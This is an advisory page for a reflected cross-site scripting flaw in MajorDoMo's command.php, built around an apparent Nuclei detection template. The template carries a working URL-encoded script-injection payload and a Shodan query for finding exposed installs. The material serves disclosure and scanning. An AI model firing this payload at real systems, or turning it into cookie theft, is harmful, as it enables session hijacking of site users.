CVE-2026-27176: MajorDoMo - Cross-Site Scripting

2026-05-09 MajorDoMo PoC Public

Description

MajorDoMo contains a reflected XSS caused by unsanitized $qry parameter in command.php, letting attackers inject arbitrary JavaScript via crafted URLs, exploit requires victim to visit malicious URL.

PoC

id: CVE-2026-27176

info:
  name: MajorDoMo - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    MajorDoMo contains a reflected XSS caused by unsanitized $qry parameter in command.php, letting attackers inject arbitrary JavaScript via crafted URLs, exploit requires victim to visit malicious URL.
  impact: |
    Attackers can execute arbitrary JavaScript in victim's browser, leading to session hijacking or other client-side attacks.
  remediation: |
    Sanitize the $qry parameter using htmlspecialchars() or equivalent before rendering.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27176
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-27176
    epss-score: 0.00449
    epss-percentile: 0.38195
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"majordomo"
  tags: cve,cve2026,xss,majordomo

http:
  - method: GET
    path:
      - "{{BaseURL}}/command.php?qry=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><img src=x onerror=alert(document.domain)>'
          - "Command:"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022019acf4d174249609c6b856752611fb6f12dda5c2460e2e4b0f0f941160626bba022100e0e42a90110f9d9d414a21b7e0b5cc08eb1be3bf371b13320c397c495d4f5459:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities